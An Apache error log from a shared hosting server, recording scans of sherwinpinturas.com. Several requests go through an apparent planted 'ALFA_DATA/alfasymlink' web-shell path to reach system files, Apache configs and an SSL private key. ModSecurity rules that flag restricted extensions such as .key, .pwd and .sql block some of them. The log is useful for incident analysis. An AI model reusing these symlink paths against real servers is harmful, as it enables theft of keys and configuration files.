[Sat Oct 24 20:29:49.269231 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:49.651942 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:50.015834 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:50.396726 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:50.812659 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:50.813193 2026] [security2:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/3PJcpMFsD8B.php"] [unique_id "at1Nft3lMH_Ldre-PZtuFQAAACk"]
[Sat Oct 24 20:29:50.813218 2026] [security2:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/3PJcpMFsD8B.php"] [unique_id "at1Nft3lMH_Ldre-PZtuFQAAACk"]
[Sat Oct 24 20:29:51.182047 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:51.614163 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:52.034514 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:52.462193 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:52.887601 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:53.255617 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:53.620852 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:54.034141 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:54.397175 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:54.826816 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:55.213227 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:55.597114 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:56.052738 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:56.444661 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:56.810433 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:57.214439 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:57.578674 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:57.949139 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:58.220953 2026] [ssl:error] [pid 2731610:tid 2731610] (70014)End of file found: [client 18.215.24.66:3133] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:29:58.312728 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:58.495707 2026] [security2:error] [pid 2731644:tid 2731644] [client 20.194.17.163:11539] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/flamini.php"] [unique_id "at1NhtrOcez6-UVc28yZ5gAAAAk"]
[Sat Oct 24 20:29:58.495768 2026] [security2:error] [pid 2731644:tid 2731644] [client 20.194.17.163:11539] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/flamini.php"] [unique_id "at1NhtrOcez6-UVc28yZ5gAAAAk"]
[Sat Oct 24 20:29:58.676443 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:29:59.094070 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:01.763772 2026] [security2:error] [pid 2707162:tid 2707162] [client 185.191.171.18:10586] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/pre_virtualhost_2.conf"] [unique_id "at1NiXxUk1Q9Uwuht9UEXQAAAAE"]
[Sat Oct 24 20:30:01.764142 2026] [security2:error] [pid 2707162:tid 2707162] [client 185.191.171.18:10586] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/pre_virtualhost_2.conf"] [unique_id "at1NiXxUk1Q9Uwuht9UEXQAAAAE"]
[Sat Oct 24 20:30:01.764593 2026] [security2:error] [pid 2707162:tid 2707162] [client 185.191.171.18:10586] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.d/includes/pre_virtualhost_2.conf"] [unique_id "at1NiXxUk1Q9Uwuht9UEXQAAAAE"]
[Sat Oct 24 20:30:02.206691 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:04.516009 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:04.879523 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:05.242480 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:05.605630 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:06.019606 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:06.159955 2026] [core:error] [pid 2731643:tid 2731643] (13)Permission denied: [client 44.210.213.220:39296] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:03/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/compact
[Sat Oct 24 20:30:06.401976 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:06.796249 2026] [proxy_fcgi:error] [pid 2693035:tid 2693035] [client 20.194.17.163:39067] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:07.991442 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:08.453574 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:08.853961 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:09.216643 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:09.599042 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:10.746558 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:11.134164 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:11.502156 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:11.865803 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:12.230046 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:12.594062 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:12.958006 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:13.325501 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:13.506520 2026] [security2:error] [pid 2724376:tid 2724376] [client 20.194.17.163:51814] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/echkmss.php"] [unique_id "at1Nla7eSgqEqaOPQgT8RQAAAAI"]
[Sat Oct 24 20:30:13.506578 2026] [security2:error] [pid 2724376:tid 2724376] [client 20.194.17.163:51814] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/echkmss.php"] [unique_id "at1Nla7eSgqEqaOPQgT8RQAAAAI"]
[Sat Oct 24 20:30:13.695123 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:14.067252 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:14.176250 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.5.232.250:11760] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:30:14.795026 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:15.522247 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:15.889575 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:16.256447 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:16.987338 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:17.350221 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:17.715599 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:18.085645 2026] [proxy_fcgi:error] [pid 2731610:tid 2731610] [client 20.194.17.163:30411] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:30:18.152559 2026] [ssl:error] [pid 2731644:tid 2731644] (70014)End of file found: [client 3.232.82.72:20222] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:30:22.345065 2026] [ssl:error] [pid 2731641:tid 2731641] (70014)End of file found: [client 54.204.12.115:2010] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:30:26.173554 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 44.209.89.189:29229] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:30:30.270674 2026] [ssl:error] [pid 2731644:tid 2731644] (70014)End of file found: [client 34.234.197.175:58252] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:30:42.199910 2026] [ssl:error] [pid 2731610:tid 2731610] (70014)End of file found: [client 52.71.216.196:35466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:30:50.164245 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.87.95.7:57501] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:30:58.156723 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.7.13.143:60315] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:31:02.269767 2026] [ssl:error] [pid 2731641:tid 2731641] (70014)End of file found: [client 52.205.113.104:4220] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:31:18.153358 2026] [core:error] [pid 2731642:tid 2731642] (13)Permission denied: [client 184.73.68.20:31265] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:04.0/driver/remove_id
[Sat Oct 24 20:31:22.181976 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 44.195.50.71:53164] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/input4/subsystem/input3/subsystem/input5/device/driver/uevent
[Sat Oct 24 20:31:26.275093 2026] [security2:error] [pid 2731612:tid 2731612] [client 85.208.96.194:27102] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/db794_1786b_3a78423e3ea16021e16a9509ad576963.key"] [unique_id "at1N3kBkaIab1Zyjz6CU4AAAAAU"]
[Sat Oct 24 20:31:26.275470 2026] [security2:error] [pid 2731612:tid 2731612] [client 85.208.96.194:27102] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/db794_1786b_3a78423e3ea16021e16a9509ad576963.key"] [unique_id "at1N3kBkaIab1Zyjz6CU4AAAAAU"]
[Sat Oct 24 20:31:26.275859 2026] [security2:error] [pid 2731612:tid 2731612] [client 85.208.96.194:27102] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/db794_1786b_3a78423e3ea16021e16a9509ad576963.key"] [unique_id "at1N3kBkaIab1Zyjz6CU4AAAAAU"]
[Sat Oct 24 20:31:26.286450 2026] [ssl:error] [pid 2731641:tid 2731641] (5)Input/output error: [client 3.212.86.97:6870] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:31:34.153281 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.206.212.24:36063] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:31:38.153878 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 98.83.10.183:39809] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:06/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/resource4_wc
[Sat Oct 24 20:31:46.156790 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 23.23.137.202:42834] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:31:49.647815 2026] [authz_core:error] [pid 2693034:tid 2693034] [client 178.62.106.213:59792] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 20:31:50.112922 2026] [authz_core:error] [pid 2731598:tid 2731598] [client 178.62.106.213:41600] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 20:31:50.156408 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 54.198.33.233:8617] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:31:50.966913 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 185.191.171.12:51938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8k/alloc_calls
[Sat Oct 24 20:31:54.396692 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 34.203.111.15:51313] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:31:58.307574 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 35.174.253.85:36780] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:32:02.161484 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.73.142.41:51228] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:32:10.324662 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 18.232.11.247:5436] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:32:10.369397 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.18:29614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mnt_cache/cpu_slabs
[Sat Oct 24 20:32:30.280050 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 18.215.77.19:13863] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:32:46.183638 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.215.210.112:1783] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:32:51.567527 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.193:23326] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/min_partial
[Sat Oct 24 20:33:06.165470 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 52.73.6.26:37613] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:33:18.301561 2026] [ssl:error] [pid 2692918:tid 2692918] (5)Input/output error: [client 18.232.12.157:58921] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:33:22.301050 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.225.138.57:23458] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:33:33.573048 2026] [security2:error] [pid 2731598:tid 2731598] [client 43.157.62.101:57722] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "at1OXUCehrQoNuVtn8-OlQAAAAM"]
[Sat Oct 24 20:33:33.573206 2026] [security2:error] [pid 2731598:tid 2731598] [client 43.157.62.101:57722] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "at1OXUCehrQoNuVtn8-OlQAAAAM"]
[Sat Oct 24 20:33:33.573626 2026] [security2:error] [pid 2731598:tid 2731598] [client 43.157.62.101:57722] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "at1OXUCehrQoNuVtn8-OlQAAAAM"]
[Sat Oct 24 20:33:33.573953 2026] [security2:error] [pid 2731598:tid 2731598] [client 43.157.62.101:57722] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "at1OXUCehrQoNuVtn8-OlQAAAAM"]
[Sat Oct 24 20:33:38.643051 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 3.215.59.93:15209] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:33:50.345977 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 3.235.215.92:52664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/hid/drivers/ntrig/uevent
[Sat Oct 24 20:34:10.180870 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.213.240.226:15809] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:34:18.439743 2026] [core:crit] [pid 2693020:tid 2693020] (13)Permission denied: [client 54.164.106.236:33578] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/var/cache/apache2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/var/cache/apache2/' is executable
[Sat Oct 24 20:34:18.466589 2026] [core:crit] [pid 2693020:tid 2693020] (13)Permission denied: [client 54.164.106.236:33578] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/var/cache/private/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/var/cache/private/' is executable
[Sat Oct 24 20:34:18.475276 2026] [core:crit] [pid 2693020:tid 2693020] (13)Permission denied: [client 54.164.106.236:33578] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/var/cache/ldconfig/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/var/cache/ldconfig/' is executable
